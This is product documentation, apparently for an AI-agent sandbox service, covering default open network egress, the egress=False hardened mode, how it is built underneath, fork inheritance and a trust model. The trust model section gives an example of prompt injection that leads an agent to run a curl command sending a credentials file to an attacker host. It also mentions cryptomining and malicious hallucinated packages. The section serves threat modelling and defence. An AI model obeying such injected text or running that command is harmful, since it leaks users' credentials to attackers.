Documentation Index
Fetch the complete documentation index at: https://docs.podflare.ai/llms.txt
Use this file to discover all available pages before exploring further.
Default: open egress — no flag needed. Every
Sandbox() boots
with an eth0 interface, a DHCP-leased IP, and outbound NAT to the
host’s public IP. pip install, npm install, git clone,
external API calls — all work the moment the sandbox is up.Opt out with egress=False only when you’re running LLM-authored
code you don’t want reaching the internet (untrusted payloads,
regulated workloads, exfiltration-sensitive contexts).Open by default
Verify egress in one line
The fastest reliable check is Cloudflare’s trace endpoint. It returns ~200 bytes of plaintext globally in 20–35 ms, never rate-limits, and is up basically forever. Use it instead ofexample.com (slow, IANA-throttled), httpbin.org (per-IP rate
limits), or api.github.com (DNS-cold first call):
egress=False — hardened sandbox
When the code inside the sandbox might try to exfiltrate data, mine
crypto, or do a supply-chain attack, block the internet at the tap
device:
What happens under the hood
Withegress=True (default):
- hostd creates the per-VM tap device
- Attaches the tap to the shared bridge
pfbr0 - Inside the VM,
eth0gets a DHCP lease from the host - Outbound traffic NATs out via the host’s default interface
egress=False:
- hostd creates the per-VM tap device
- Skips the bridge attach — tap is up but has no L2 peer
- Inside the VM,
eth0still comes up with its snapshot-captured DHCP lease (valid for the rest of the 10 min lease window) - Outbound traffic hits the tap, goes nowhere, times out
ip addr shows eth0 with an IP. But nothing
routes. Packets silently drop at the host.
Fork inherits the flag
Children inherit the parent’s egress setting. A fork from an egress-off parent has no network either:Trust model
Open egress is the default because the vast majority of real agent workloads needpip install, git clone, or external API calls to
be useful.
With open egress, the threat model is:
- Agent-authored code can reach the internet. Prompt injection
that asks the agent to
curl attacker.example.com -d @/data/credswill actually work. - Cryptomining is possible if the agent decides to mine.
- Slopsquatted packages execute.
pip install hallucinated-pkgrunssetup.pyfrom whatever the attacker published.
egress=False. The flag flips instantly at
create time; no enterprise sales call needed.
File transfer
upload() and download() go over the sandbox’s control channel, not
over eth0. They work regardless of the egress setting — useful for
pushing data in and pulling artifacts out of an egress-off sandbox:
When you want even more egress control
For regulated customers who need allowlisted outbound (e.g. onlyapi.openai.com and pypi.org, reject everything else), with
credential injection so the sandbox never sees real API keys — this
lands as an Enterprise feature. Contact sales@podflare.ai.
Today’s summary
Sandbox()→ full outbound network. The default. What you want for agent workflows that need to install packages or call APIs.Sandbox(egress=False)→ no outbound. eth0 exists but packets die at the host. For untrusted payloads.Sandbox.fork()→ children inherit the parent’s egress.upload()/download()→ work regardless of egress.

